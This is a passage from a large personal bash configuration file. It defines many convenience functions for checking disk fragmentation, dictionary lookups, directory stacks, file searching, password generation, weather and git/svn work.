read -sn 1 -p "When you are finished, press any key to continue...
"
rm "/tmp/defrag2.sh"
}
###### fragmentation check (basic check, which will generate a percentage of fragmentation)
function fragcheck()
{
cd "$1"
read -sn 1 -p "Warning! Pressing enter will do a search for fragmentation in the current directory. Close this now if you are in the wrong directory and/or you forgot to type the name of the directory you wish to do a fragcheck after \"fragcheck\": Press any key to continue...
"
cat > "/tmp/fragcheck.pl" <<"End-of-message"
#!/usr/bin/perl -w
# Original creator: _droop_
# Updated by: as
# Updated again by: user11
# this script search for frag on a fs
use strict;
# number of files
my $files = 0;
# number of fragment
my $fragments = 0;
# number of fragmented files
my $fragfiles = 0;
my $verbose;
if ($ARGV[0] eq '-v') { shift @ARGV; $verbose++; }
open (REPORT, "find " . $ARGV[0] . " -xdev -type f -print0 | xargs -0 filefrag |");
while (defined (my $res = <REPORT>)) {
if ($res =~ m/.*:\s+(\d+) extents? found$/) {
my $fragment = $1;
$fragments += $fragment;
if ($fragment > 1) {
$fragfiles++;
}
$files++;
} else {
print ("Failed to parse: $res\n");
}
}
close (REPORT);
if ($verbose) {
print "Total files: $files\n";
print "Fragmented files: $fragfiles\n";
print "Fragments: $fragments\n";
}
sub round($$) {
my $v = shift; # value
my $p = shift; # rouding divisor (1 for '123', 10 for '123.4', 100 for '123.45')
return int($v * $p) / $p;
}
print ( $fragfiles / $files * 100 . "% non contiguous files, " . $fragments / $files . " average fragments.\n");
End-of-message
chmod +x "/tmp/fragcheck.pl"
sudo "/tmp/fragcheck.pl" "$1"
read -sn 1 -p "When you are finished, press any key to continue...
"
rm "/tmp/fragcheck.pl"
}
###### will generate a percentage for fragmentation and several other things: takes longer than first one
function fragcheck2()
{
cd "$1"
read -sn 1 -p "Warning! Pressing enter will do a search for fragmentation in the current directory. Close this now if you are in the wrong directory and/or you forgot to type the name of the directory you wish to do a fragcheck after \"fragcheck\": Press any key to continue...
"
cat > "/tmp/fragcheck2.pl" <<"End-of-message"
#! /usr/bin/perl -w
# Original creator: _droop_
# Updated by: as
# Updated again by: c07
use strict;
@ARGV >= 1 && @ARGV <= 2 or die "usage: $0 <dir> [<block size in KB>]";
$/= "\0";
my ($files, $blocks, $fragments, $frag, $fragblocks, $multi, $empty)= (0) x 7;
my $dir= shift;
my $blocksize= (shift || 4) + 0;
print qq|scanning "$dir", using block size $blocksize KB ...\n|;
open my $find, "-|", "find", $dir, qw"-xdev -type f -print0";
while ( my $file= <$find> ) {
{ open my $fh, "-|", "filefrag", $file; $_= <$fh> }
/:\s+(\d+) extents? found/ or (print qq|"$_"?\n|), next;
my $n= $1 + 0;
{ open my $fh, "-|", "ls", "-sk", $file; $_= <$fh> }
/^(\d+)\s/ or (print qq|"$_" (ls)?\n|), next;
my $s= $1 / $blocksize;
++$files;
$s or ++$empty, next;
$blocks += $s;
$fragments += $n;
++$frag, $fragblocks += $s if $n > 1;
++$multi if $s > 1;
}
my $single= $files - $multi - $empty;
my $nonfrag= $files - $frag - $empty;
if ( ! $files ) { print "no files\n" }
else {
printf "$files files, $frag (%.3f %%) fragmented\n", 100 * $frag / $files;
if ( ! $multi ) { print "no multi-block files\n" }
else {
printf "$multi multi-block files, %.3f %% fragmented\n",
100 * $frag / $multi;
}
print "$blocks blocks, $fragments fragments, $empty empty files\n";
if ( $fragments ) {
printf "average %.3f fragments per file, %.3f blocks per fragment,\n",
$fragments / $files, $blocks / $fragments;
if ( $multi ) {
printf "%.3f fragments per multi-block file, %.3f blocks each,\n",
($fragments - $single) / $multi,
($blocks - $single) / ($fragments - $single);
if ( $frag ) {
printf "%.3f fragments per fragmented file, %.3f blocks each\n",
($fragments - $nonfrag) / $frag,
$fragblocks / ($fragments - $nonfrag);
} } } }
End-of-message
chmod +x "/tmp/fragcheck2.pl"
sudo "/tmp/fragcheck2.pl" "$1"
read -sn 1 -p "When you are finished, press any key to continue...
"
rm "/tmp/fragcheck2.pl"
}
####### Del function
function del()
{
mv "$@" "/${HOME}/.local/share/Trash/files/"
}
###### Delete function
function delete() {
DIR=$1
shift
for i in $*; do
if [ -f $DIR/$i ]; then
rm $DIR/$i
fi
done
}
# Lookup a word with dict.org
#------------------------------------------////
###### define "whatever"
function dic() { curl dict://dict.org/d:"$@" ; }
###### find matches of $1, with optional strat $2 and optional db $3
function ref()
{
if [[ -z $3 ]]; then
curl dict://dict.org/m:${1}:english:${2};
else
curl dict://dict.org/m:${1}:${3}:${2};
fi
}
###### look in Webster
function webster() { curl dict://dict.org/d:${1}:web1913; }
###### look in WordNet
function wordnet() { curl dict://dict.org/d:${1}:wn; }
####### Shell function to exit script with error in exit status and print optional message to stderr
function die() { result=$1;shift;[ -n "$*" ]&&printf "%s\n" "$*" >&2;exit $result;}
####### Diffs two xml files by formatting them first - using xmllint and then invoking diff - usage: diffxml XMLFile1 XMLFile2
function diffxml() { diff -wb <(xmllint --format "$1") <(xmllint --format "$2"); }
######## Dirsize - finds directory sizes and lists them for the current directory
function dirsize()
{
du -shx * .[a-zA-Z0-9_]* 2> /dev/null | \
egrep '^ *[0-9.]*[MG]' | sort -n > /tmp/list
egrep '^ *[0-9.]*M' /tmp/list
egrep '^ *[0-9.]*G' /tmp/list
rm /tmp/list
}
# Display off (Turns the display off) #
#------------------------------------------////
###### turns the display off and will stay off until any key/cursor is touched
function display-off()
{
cat > "/tmp/display-off.py" <<"End-of-message"
#!/usr/bin/python
import time
import subprocess
from Xlib import X
from Xlib.display import Display
display = Display(':0')
root = display.screen().root
root.grab_pointer(True,
X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask,
X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)
root.grab_keyboard(True,
X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)
subprocess.call('xset dpms force off'.split())
p = subprocess.Popen('gnome-screensaver-command -i'.split())
time.sleep(1)
while True:
print display.next_event()
p.terminate()
break
End-of-message
chmod +x "/tmp/display-off.py"
"/tmp/display-off.py"
/bin/rm "/tmp/display-off.py"
}
###### turns the display off and will stay off until this command is run again or cancelled, even after key/cursor is touched
function display-offed() { LF=/tmp/screen-lock; if [ -f $LF ]; then /bin/rm $LF; else touch $LF; sleep .5; while [ -f $LF ]; do xset dpms force off; sleep 2; done; fi ; }
###### turns the display off and will stay off until any key/cursor is touched Display off with login (Turns the display off)
function display-oft()
{
cat > "/tmp/display-oft.py" <<"End-of-message"
#!/usr/bin/python
import time
import subprocess
from Xlib import X
from Xlib.display import Display
display = Display(':0')
root = display.screen().root
root.grab_pointer(True,
X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask,
X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)
root.grab_keyboard(True,
X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)
subprocess.call('xset dpms force off'.split())
p = subprocess.Popen('gnome-screensaver-command -i'.split())
time.sleep(1)
while True:
print display.next_event()
p.terminate()
subprocess.Popen('gnome-screensaver-command -l'.split())
break
End-of-message
chmod +x "/tmp/display-oft.py"
"/tmp/display-oft.py"
/bin/rm "/tmp/display-oft.py"
}
###### Change to specified pkg's documentation dir and display the files - Usage: doc
function doc() {
pushd "/usr/share/doc/$1" && ls
}
####### Lists unique IPs currently connected to logged-in system & how many concurrent connections each IP has
function doscheck()
{
"netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n"
}
####### Symlinks all hidden files in a directory to the same names without the dot
function dot_ln()
{
for file in `/bin/ls -a | /bin/egrep "^\.[^./]"` ; do
if [[ "$1" == "-f" ]] ; then
/bin/ln -svif $file ${file:1}
else
/bin/ln -svi $file ${file:1}
fi
done
}
####### Site down for everyone or just me?
function downforme() {
RED='\e[1;31m'
GREEN='\e[1;32m'
YELLOW='\e[1;33m'
NC='\e[0m'
if [ $# = 0 ]
then
echo -e "${YELLOW}usage:${NC} downforme website_url"
else
JUSTYOUARRAY=(`lynx -dump http://downforeveryoneorjustme.com/$1 | grep -o "It's just you"`)
if [ ${#JUSTYOUARRAY} != 0 ]
then
echo -e "${RED}It's just you. \n${NC}$1 is up."
else
echo -e "${GREEN}It's not just you! \n${NC}$1 looks down from here."
fi
fi
}
####### Size of directories in MB
function ds()
{
echo "size of directories in MB"
if [ $# -lt 1 ] || [ $# -gt 2 ]; then
echo "you did not specify a directy, using pwd"
DIR=$(pwd)
find $DIR -maxdepth 1 -type d -exec du -sm \{\} \; | sort -nr
else
find $1 -maxdepth 1 -type d -exec du -sm \{\} \; | sort -nr
fi
}
####### Size of items in directory
function dubigf() {
du -sh * | awk '/[[:space:]]*[[:digit:]]+,*[[:digit:]]*G/' | sort -nr
du -sh * | awk '/[[:space:]]*[[:digit:]]+,*[[:digit:]]*M/' | sort -nr
}
###### # Find duplicate/non-duplicate lines in series of files or in stdin - find duplicate lines
function dups() { sort "$@" | uniq -d; }
###### find duplicate lines, keep just 1 of them, and output to txt file
function dupscleaner() { sort "$@" | uniq -d > dupscleaned.txt; }
###### find duplicate lines, remove all non-duplicate lines and output to txt file
function dupsonly() { sort "$@" | uniq -D > dupsonly.txt; }
###### find non-duplicate lines
function nondups() { sort "$@" | uniq -u; }
###### find duplicate lines, remove all of them, keeping just non-duplicate lines and output to txt file
function nondupsonly() { sort "$@" | uniq -u > nondupsonly.txt; }
###### View portage changelog for specified package - $1 = package name
function echange() {
PACKAGE="$(eix -e --only-names $1)"
if [ "$PACKAGE" != "" ]; then
view /usr/portage/$PACKAGE/ChangeLog
fi
}
# Directory operations: editd, flipd, popd, printd, pushd, rotd, swapd #
#------------------------------------------////
###### Edit directory stack
function editd() {
export EDITDNO=$((${EDITDNO:=0} + 1))
typeset FiLe=/tmp/`basename -- $0`$$.${EDITDNO}
printd >${FiLe}
${EDITOR} ${FiLe}
DS=`while read ea; do echo -n "$ea:"; done <${FiLe}`
rm -f ${FiLe}
}
###### flip back-and-forth between current dir and top of stack (like "cd -")
function flipd() {
if [ "$DS" ]
then
cd "${DS%%:*}"
export DS="$OLDPWD:${DS#*:}"
else
echo "$0: empty directory stack" >&2
fi
}
###### pop top dir off stack and cd to it
function popd() {
if [ "$DS" ]
then
cd "${DS%%:*}"
export DS="${DS#*:}"
else
echo "$0: empty directory stack" >&2
fi
}
###### Print directory stack
function printd() {
( IFS=:; for each in $DS; do echo $each; done; )
}
###### Change to new dir, pushing current onto stack
function pushd() {
export DS="$PWD:$DS"
if [ -n "$1" ]; then cd "$1"; else cd; fi || export DS="${DS#*:}"
}
###### rotate thru directory stack (from bottom to top)
function rotd() {
if [ "$DS" ]
then
typeset DSr="${DS%:*:}"
[ "${DSr}" = "${DS}" ] || export DS="${DS##${DSr}:}$DSr:"
flipd
else
echo "$0: directory stack is empty" >&2
fi
}
###### swap top two dir stack entries
function swapd() {
typeset DSr="${DS#*:}"
if [ "$DSr" ]
then
export DS="${DSr%%:*}:${DS%%:*}:${DSr#*:}"
else
echo "$0: less than two on directory stack" >&2
fi
}
if [ ! -f ${HOME}/.lastdir ];then
cat > ${HOME}/.lastdir
fi
alias lastd="cd $(cat ~/.lastdir)" # change to last dir at 'bye'
###### save current dir for lastd on exit if not $HOME
alias saved='[ ${PWD} != ${HOME} ] && pwd >~/.lastdir; [ -n "${DS}" ] && echo "${DS}" >~/.dirstak'
###### get dir stack back on login
[ -s ${HOME}/.dirstak ] && export DS=`cat ${HOME}/.dirstak`
###### Download ed2k file
function ed2k()
{
wget -q -O - "$1" | grep "ed2k://" | sed -e 's/^.*=//g;s/..$//g'
}
####### Edit your history file
function eh() { history -a ; vi ~/.bash_history ; history -r ; }
####### Elements database
function ele() {
dict -d elements $@
}
####### Show empty files in the directed directory
function empty() {
find "$1" -empty
}
####### Surround lines with quotes (useful in pipes)
function enquote() { /usr/bin/sed 's/^/"/;s/$/"/' ; }
####### Determining the meaning of error codes
function err()
{
grep --recursive --color=auto --recursive -- "$@" /usr/include/*/errno.h
if [ "${?}" != 0 ]; then
echo "Not found."
fi
}
####### View latest installable portage ebuild for specified package - $1 = package name
function eview() {
FILE=$(equery which $1)
if [ -f "$FILE" ]; then
view $FILE
fi
}
####### Exchange stuff from two places
function exchange()
{
typeset temp
SAVE=$IFS
IFS=''
eval $(echo "temp=\"\$$1\"")
eval $(echo "$1=\"\$$2\"")
eval $(echo "$2=\"$temp\"")
IFS=$SAVE
}
####### URLs ... - expand shortened URLs
function expandurl() { curl -sIL $1 2>&1 | awk '/^Location/ {print $2}' | tail -n1; }
###### short URLs with is.gd
function isgd() { /usr/bin/wget -qO - "http://is.gd/create.php?format=simple&url=$1" ;}
###### resolve short URLs
function resolve() { curl -Is $1 | sed -n 's/^Location: //p'; }
####### CIA world fact book
function fact() {
dict -d world02 $@
}
####### Passwording - fake name and pass
function fakepass()
{
local l=8
[ -n "$1" ] && l=$1
dd if=/dev/urandom count=1 2> /dev/null | uuencode -m - | head -n 2 | tail -n 1 | cut -c $l
}
alias fakename='nc koeln.ccc.de 23 | cut -d \ -f 4,5'
###### password file
function pw()
{
if [ "$OS" = "Linux" ]; then
gpg $HOME/priv.asc
vi -n $HOME/priv
gpg -ea $HOME/priv
wipe -f $HOME/priv
elif [ "$OS" = "Darwin" ]; then
gpg $HOME/Documents/priv.asc
vi -n $HOME/Documents/priv
gpg -ea $HOME/Documents/priv
srm -f $HOME/Documents/priv
fi
}
###### generate a random password - $1 = number of characters; defaults to 32 - $2 = include special characters; 1 = yes, 0 = no; defaults to 1
function randompw() {
if [[ $2 == "!" ]]; then
echo $(cat /dev/urandom | tr -cd '[:graph:]' | head -c ${1:-32})
else echo $(cat /dev/urandom | tr -cd '[:alnum:]' | head -c ${1:-32})
fi
}
###### generate a random left-hand password
alias randompwl='</dev/urandom tr -dc '12345!@#$%qwertQWERTasdfgASDFGzxcvbZXCVB' | head -c8; echo ""'
###### generate a unique and secure password for every website that you login to
function sitepass() {
echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1));
}
###### generates a unique and secure password with SALT for every website that you login to
function sitepass2()
{
salt="this_salt";pass=`echo -n "$@"`;for i in {1..500};do pass=`echo -n $pass$salt|sha512sum`;done;echo$pass|gzip -|strings -n 1|tr -d "[:space:]"|tr -s '[:print:]' |tr '!-~' 'P-~!-O'|rev|cut -b 2-15;history -d $(($HISTCMD-1));
}
###### trunc password
function trunc_pwd()
{
case $1 in
*help )
echo -e "\n${ewhite}Usage:\n"
echo -e "${eorange}trunc_pwd ${ewhite}|${egreen} ! no options !\n"
tput sgr0
;;
* )
pwdmaxlen=$(get_key pwdmaxlength)
trunc_symbol=$(get_key pwdchar)
dirchar=$(get_key dirchar)
newsepacolor=$(echo $sepacolor | sed -e 's/\\\[//g' -e 's/\\\]//g')
newwdircolor=$(echo $wdircolor | sed -e 's/\\\[//g' -e 's/\\\]//g')
newpscoloror=$(echo $pscolor | sed -e 's/\\\[//g' -e 's/\\\]//g')
if [ ${#PWD} -gt $pwdmaxlen ]; then
pwdoffset=$(( ${#PWD} - $pwdmaxlen ))
if [[ $pstyle_supported == true ]]; then
xPWD="$newpscoloror${trunc_symbol}${PWD:$pwdoffset:$pwdmaxlen}"
else xPWD="${trunc_symbol}${PWD:$pwdoffset:$pwdmaxlen}"
fi
if [[ $enabcol == true && $pstyle_supported == true ]]; then
newPWD="${xPWD//\//$newsepacolor$dirchar$newwdircolor}"
else newPWD="${xPWD//\//$dirchar}"
fi
else
if [[ $enabcol == true && $pstyle_supported == true ]]; then
newPWD="${PWD//\//$newsepacolor$dirchar$newwdircolor}"
else newPWD="${PWD//\//$dirchar}"
fi
fi
echo -e $newPWD
;;
esac
}
# Find a file(s) ... with pattern $1 in name and Execute $2 on it
function fe() { find . -type f -iname '*'$1'*' -exec "${2:-file}" {} \; ; }
###### ... under the current directory
function ff() { /usr/bin/find . -name "$@" ; }
###### ... whose name ends with a given string
function ffe() { /usr/bin/find . -name '*'"$@" ; }
###### ... fast find (by filename; uses sh, less and sed)
function ffind() { local a=$1; local b=$2; local c="$a"*/*"$b"*; case $# in [01])echo usage: ff drive string [match-no\(s\)];; 2)printf "%s\n" $c|less -SN;; 3)less $(printf "%s\n" $c|sed -n "$3"p|tr '\n' ' ');; esac; }
###### ... whose name starts with a given string
function ffs() { /usr/bin/find . -name "$@"'*' ; }
###### ... larger than a certain size (in bytes)
function find_larger() { find . -type f -size +${1}c ; }
###### find a file with a pattern in name in the local directory
function fp()
{
find . -type f -iname '*'$*'*' -ls ;
}
###### find pattern in a set of files and highlight them
function fstr()
{
OPTIND=1
local case=""
local usage="fstr: find string in files.
Usage: fstr [-i] \"pattern\" [\"filename pattern\"] "
while getopts :it opt
do
case "$opt" in
i) case="-i " ;;
*) echo "$usage"; return;;
esac
done
shift $(( $OPTIND - 1 ))
if [ "$#" -lt 1 ]; then
echo "$usage"
return;
fi
local SMSO=$(tput smso)
local RMSO=$(tput rmso)
find . -type f -name "${2:-*}" -print0 | xargs -0 grep -sn ${case} "$1" 2>&- | \
sed "s/$1/${SMSO}\0${RMSO}/gI" | more
}
###### searches through the text of all the files in your current directory # http://seanp2k.com/?p=13 # Good for debugging a PHP script you didn't write and can't trackdown where MySQL connect string actually is
function grip() {
grep -ir "$1" "$PWD"
}
###### ... who is the newest file in a directory
function newest() { find ${1:-\.} -type f |xargs ls -lrt ; }
###### Festival - text-to-speech -> requires festival: sudo apt-get install festival - Usage: fest "text"
function fest() {
echo $1 | festival --tts
}
####### Find in file and ( AND relation ) Will search PWD for text files that contain $1 AND $2 AND $3 etc... Actually it does the same as grep word1|grep word2|grep word3 etc, but in a more elegant way.
function ffa() { (($# < 2)) && { echo "usage: ffa pat1 pat2 [...]" >&2; return 1; };awk "/$1/$(printf "&&/%s/" "${@:2}")"'{ print FILENAME ":" $0 }' *; }
####### Alternative for basename using grep to extract file name eg: fileName /path/to/file.ext
function fileName() { echo "$1" | grep -o "[^/]*$"; }
####### Extract extention of a file
function filext() { echo ${1##*.}; }
###### Pick the first program found from a list of alternatives -> used to set environmental variables from list of alternatives depending on what's installed (uses bash setting 'export BROWSER' above) it returns the first program found in the list -> Usage: export BROWSER=$(find_alternatives chromium-browser google-chrome opera firefox firefox-bin iceweasel konqueror w3m lynx)
function find_alternatives() { for i;do which "$i" >/dev/null && { echo "$i"; return 0;};done;return 1; }
###### Find out the pid of a specified process -> note that the command name can be specified via a regex -> E.g. findPid '/d$/' finds pids of all processes with names ending in 'd' - Without the 'sudo' it will only find processes of the current user
function findPid() { sudo /usr/sbin/lsof -t -c "$@" ; }
######## Search for a word in the Unix word list
function findword() { /usr/bin/grep ^"$@"$ /usr/share/dict/words ; }
####### Recursively fix dir/file permissions on agiven directory
function fix() {
if [ -d $1 ]; then
find $1 -type d -exec chmod 755 {} \;
find $1 -type f -exec chmod 644 {} \;
else
echo "$1 is not a directory."
fi
}
####### Edit files in place to ensure Unix linendings
function fixlines() { /usr/bin/perl -pi~ -e 's/\r\n?/\n/g' "$@" ; }
###### Fix eclipse mistakes with tabs - Sources files should never use TABs for indenting because they may looks different in different editors. For example there popular Eclipse IDE use a the non default tab size 4
function fix-tabs() { expand -t 4 "$1" > "$1.expanded"; mv -f "$1.expanded" "$1"; }
###### Inserts a flag with the specified content - Usage: flag "comment" - If no comment, inserts the date.
function flag() {
if [ "$1" == "" ];
then
echo -e "\e[0;31m[====== " `date +"%A %e %B %Y"`, `date +"%H"`h`date +"%M"` " ======]\e[0m"
else
echo -e "\e[0;31m[====== " $@ " ======]\e[0m"
fi
}
###### Inserts a flag and executes the command - Example: flagcommand ls
function flagcommand() {
if [ "$1" == "" ];
then
return
else
flag $@
$@
fi
}
###### Flight status - track flights from the command line (requires html2text: sudo apt-get install html2text)
function flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }
###### Autofocus window after executing some command example: focus make all from: http://noisy-coder.blogspot.com/2010/10/autofocus-window.html
function focus() { winID=`xprop -root |awk '/_NET_ACTIVE_WINDOW/ {print $5; exit;}'`; $@; wmctrl -i -a $winID; }
###### Weather and stuff - 10-day forcast - USAGE: forecast 50315
function forecast() {
_ZIP=$1
if [ $# = 1 ];then
printf "$_ZIP\n" | egrep '^[0-9][0-9][0-9][0-9][0-9]$' >>/dev/null
if [ $? = 0 ];then
printf "Your 10 Day Weather Forecast as follows:\n";
lynx -dump "http://www.weather.com/weather/print/$_ZIP" | sed -n '/%$/s/\[.*\]//p';
printf "\n"
elif [ $? = 1 ];then
printf "Bad ZIP code!\n"
fi
elif [ $# != 1 ];then
printf "You need to supply a ZIP code!\n"
fi
}
###### get sunrise and sunset times
function suntimes()
{
l=12765843;curl -s http://weather.yahooapis.com/forecastrss?w=$l|grep astronomy| awk -F\" '{print $2 "\n" $4;}'
}
###### weather-util - requires "weather-util" and "weather-util-data" - sudo apt-get install weather-util weather-util-data - Usage = weather 'zip'/'location'/'code' weather search without extended forecast
alias weather='weather-util'
####### weather search with extended forecast
alias weatherf='weather-util --forecast'
###### weather by US zip code - Can be called two ways # weather 50315 # weather "Des Moines"
function weather_()
{
declare -a WEATHERARRAY
WEATHERARRAY=( `lynx -dump http://google.com/search?q=weather+$1 | grep -A 5 '^ *Weather for' | grep -v 'Add to'`)
echo ${WEATHERARRAY[@]}
}
###### weather search with function "forecast"
function zipweather()
{
search=$1
weather-util $search
forecast $search
}
####### Easily run a program in the background without losing output
function fork() { tf=$(tempfile -d /tmp -p $1.);echo -n "$tf "; $@ &>$tf& }
####### Get FreeMusicCharts of the current month
function freemusiccharts()
{
wget -O - "http://www.darkerradio.com/news/free-music-charts-$(date "+%B-%Y")/" 2> /dev/null | grep -o "http://[^ \"']*\.mp3" |grep "freemusiccharts.songs" | sort | uniq | xargs -n1 wget -c
}
####### Find all bash functions in a file
#------------------------------------------////
###### finds all functions defined in any shell script secified, including .bashrc
function functions() { read -p "File name> "; sort -d $REPLY | grep "() {" | sed -e 's/() {//g' | less; }
####### ISO-maker from disc
function geniso() {
if [[ $CD_WRITER ]]; then
dd $DD_OPTS if=$CD_WRITER of="$1"
else dd $DD_OPTS if=/dev/dvdrw of="$1"
fi
}
####### Extract a particular column of spaceseparated output e.g.: lsof | getcolumn 0 | sort | uniq
function getcolumn() { perl -ne '@cols = split; print "$cols['$1']\n"' ; }
####### Get duration of an audio file in seconds.
function get_duration() { durline=$(sox "$1" -n stat 2>&1|grep "Length (seconds):");echo ${durline#*\: }; }
###### Get/verify info on stuff (useful in other functions) usage: getExtension <filename>
function getExtension(){ echo "${1##*.}"; }
###### getFileName
function getFileName()
# Author: Josh Bailey
# Email: jbsnake <at> <no spam> usalug.org
# further tweaked by: jsz
# usage: getFileName <filename>
{
local filename=${1##*/}
echo "${filename%.*}"
}
###### getPath
function getPath()
# Author: Josh Bailey
# Email: jbsnake <at> <no spam> usalug.org
# further tweaked by: jsz
# usage: getPath <filename>
{ echo "${1%/*}"; }
###### inStr
function inStr()
# Author: Josh Bailey
# Email: jbsnake <at> <no spam> usalug.org
# further tweaked by: jsz
# usage: inStr <char> <string>
{
local i
for ((i = 0; i < ${#2}; i++)); do
if [[ ${2:i:1} = $1 ]]; then
echo "$i"
fi
done
}
###### notADot
function notADot()
# Author: Josh Bailey
# Email: jbsnake <at> <no spam> usalug.org
{
if [[ ${1} != '.' ]]
then
return 0
else
return 1
fi
}
###### notAForwardSlash
function notAForwardSlash()
{
if [[ ${1} != '/' ]]
then
return 0
else
return 1
fi
}
####### Download the latest kernel
function get_kernel() {
if [[ $1 == "-s" ]]; then
wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-${2}.tar.bz2
elif [[ $1 == "-t" ]]; then
wget http://www.kernel.org/pub/linux/kernel/v2.6/testing/linux-${2}.tar.bz2
elif [[ $1 == "-sg" ]]; then
git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-${2}.y.git
elif [[ $1 == "-tg" ]]; then
git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6.git
elif [[ $1 == "-z" ]]; then
wget http://downloads.zen-kernel.org/${2}/${2}-zen${3}.patch.lzma
fi
}
# Git stuff #
#------------------------------------------////
###### git_action
function git_action() {
if [[ -d .git ]]; then
if [[ -f .git/dotest/rebasing ]]; then
ACTION="rebase"
elif [[ -f .git/dotest/applying ]]; then
ACTION="apply"
elif [[ -f .git/dotest-merge/interactive ]]; then
ACTION="rebase -i"
elif [[ -d .git/dotest-merge ]]; then
ACTION="rebase -m"
elif [[ -f .git/MERGE_HEAD ]]; then
ACTION="merge"
elif [[ -f .git/index.lock ]]; then
ACTION="locked"
elif [[ -f .git/BISECT_LOG ]]; then
ACTION="bisect"
else ACTION="nothing"
fi
echo $ACTION
else echo --
fi
}
###### git_branch
function git_branch() {
if [[ -d .git ]]; then
BRANCH=$(git symbolic-ref HEAD 2>/dev/null)
echo ${BRANCH#refs/heads/}
else echo --
fi
}
###### git_bzip
function git_bzip() {
git archive master | bzip2 -9 >"$PWD".tar.bz2
}
###### git_e
function git_e() {
if [[ "$SVN_USER_ENLIGTENMENT" && $1 == "-m" ]]; then
svn co svn+ssh://"$SVN_USER_ENLIGTENMENT"@svn.enlightenment.org/var/svn/$2
else
svn co http://svn.enlightenment.org/svn/$2
fi
}
###### git_export
function git_export() {
if [[ "$1" != "" ]]; then
git checkout-index --prefix="$1"/ -a
fi
}
###### git_gnome
function git_gnome() {
if [[ $GIT_USER_GNOME ]]; then
if [[ $1 == "-m" ]]; then
git clone git+ssh://$GIT_USER_GNOME@git.gnome.org/git/$2
elif [[ $1 == "-mb" ]]; then
git clone -b $3 git+ssh://$GIT_USER_GNOME@git.gnome.org/git/$2
fi
fi
if [[ $1 == "-b" ]]; then
git clone -b $3 git://git.gnome.org/$2
else git clone git://git.gnome.org/$1
fi
}
###### git_kde
function git_kde() {
if [[ "$SVN_USER_KDE" ]]; then
if [[ $1 == "-m" ]]; then
svn co --user-name="$SVN_USER_KDE" svn+ssh://svn.kde.org/home/kde/trunk/KDE/$2
elif [[ $1 == "-mb" ]]; then
svn co --user-name="$SVN_USER_KDE" svn+ssh://svn.kde.org/home/kde/branches/KDE/$2
fi
fi
if [[ $1 == "-b" ]]; then
svn co svn://svn.kde.org/home/kde/branches/KDE/$2
else svn co svn://svn.kde.org/home/kde/trunk/KDE/$2
fi
}
###### git_revision
function git_revision() {
if [[ -d .git ]]; then
REVISION=$(git rev-parse HEAD 2>/dev/null)
REVISION=${REVISION/HEAD/}
echo ${REVISION:0:6}
else echo --
fi
}
###### git_xfce
function git_xfce() {
if [[ $GIT_USER_XFCE ]]; then
if [[ $1 == "-m" ]]; then
git clone ssh://$GIT_USER_XFCE@git.xfce.org/git/$2
elif [[ $1 == "-mb" ]]; then
git clone -b $3 ssh://$GIT_USER_XFCE@git.xfce.org/git/$2
fi
fi
if [[ $1 == "-b" ]]; then
git clone -b $3 git://git.xfce.org/$2
else git clone git://git.xfce.org/$1
fi
}
###### git_xz
function git_xz() {
git archive master | xz -9 > "$PWD".tar.xz
}
###### gup
function gup() {
git fetch && git rebase origin/$(git branch | grep '^\*' | cut -d\ -f2)
}
###### edit the svn log at the given revision
function svnlogedit() {
svn propedit svn:log --revprop -r$1 --editor-cmd gedit
}
###### svn recursive directory/file adder this will recursively add files/directories in SVN
function svnradd() { for i in $1/*;do if [ -e "$i" ];then if [ -d "$i" ];then svn add $i;svnradd $i;else svn add $i;fi; fi;done }
###### bash function for convenient 'find' in subversion working directories
function svn_find() { local a=$1; shift; find $a -not \( -name .svn -prune \) $*; }
###### display the revision number of the current repository
function svn_rev() {
svn info $@ | awk '/^Revision:/ {print $2}'
}
###### do a svn update and show the log messages since the last update
function svn_uplog() {
local old_revision=`svn_rev $@`
local first_update=$((${old_revision} + 1))
svn up -q $@
if [ $(svn_rev $@) -gt ${old_revision} ]
then
svn log -v -rHEAD:${first_update} $@
else
echo "No Changes."
fi
}
# Speed up builds and scripts, remove duplicate entries in $PATH. Users scripts are often bad: PATH=/apath:$PATH type of thing cause duplicate#
#------------------------------------------////
function glu() { (local IFS="$1"; shift && echo "$*") }
function repath() { ( _E=`echo "${PATH//:/$'\n'}" | awk '!x[$0]++'`; glu ":" $_E ) ; }
PATH=`repath`
export PATH
# Pipe stdout to image and mail
#------------------------------------------////
function gotxt2imgmail() { if [ $# != 1 ]; then echo 'gotxt2imgmail < email >'; return; fi; e="$1"; f=$RANDOM.png; convert label:@- $f; echo "" | mailx -s $f -a $f $e ; }
# Twitter, Twitter, Twitter
#------------------------------------------////
###### view someone's twitter stream from terminal
function grabtweets() { curl -s "twitter.com/$1" | sed -ne '/entry-content/{s/<[^>]*>//g;s/^[ \t]*//;p}'; }
###### update twitter via curl as function
function tweet() { curl -u "$1" -d status="$2" "http://twitter.com/statuses/update.xml"; }
###### Hide-Unhide-In-Nautilus.sh - Usage: hideme filename (hideme whatever.txt) - Hide/Unhide file(s)/folder(s) in Nautilus
function hideme()
{
# Creator: Inameiname
# Date: 21 June 2011
# Version: 1.0
#
#
# This is a simple nautilus script to automatically add file(s)/folder(s)
# to a ".hidden" file so Nautilus will hide them, just like ".*" files
# Instructions:
# - decide what file(s)/folder(s) you want to hide inside a particular folder,
# - highlight them, and right click and select the script
# - it will automatically add the filenames to a created ".hidden" file inside the directory
# - if ".hidden" isn't there, it will add it
# - if you decide to unhide things, simply highlight and select the script again,
# - and it will automatically remove the filenames from the ".hidden" file
# - if ".hidden" contains no filenames, it will remove it
#
#
# Optionals:
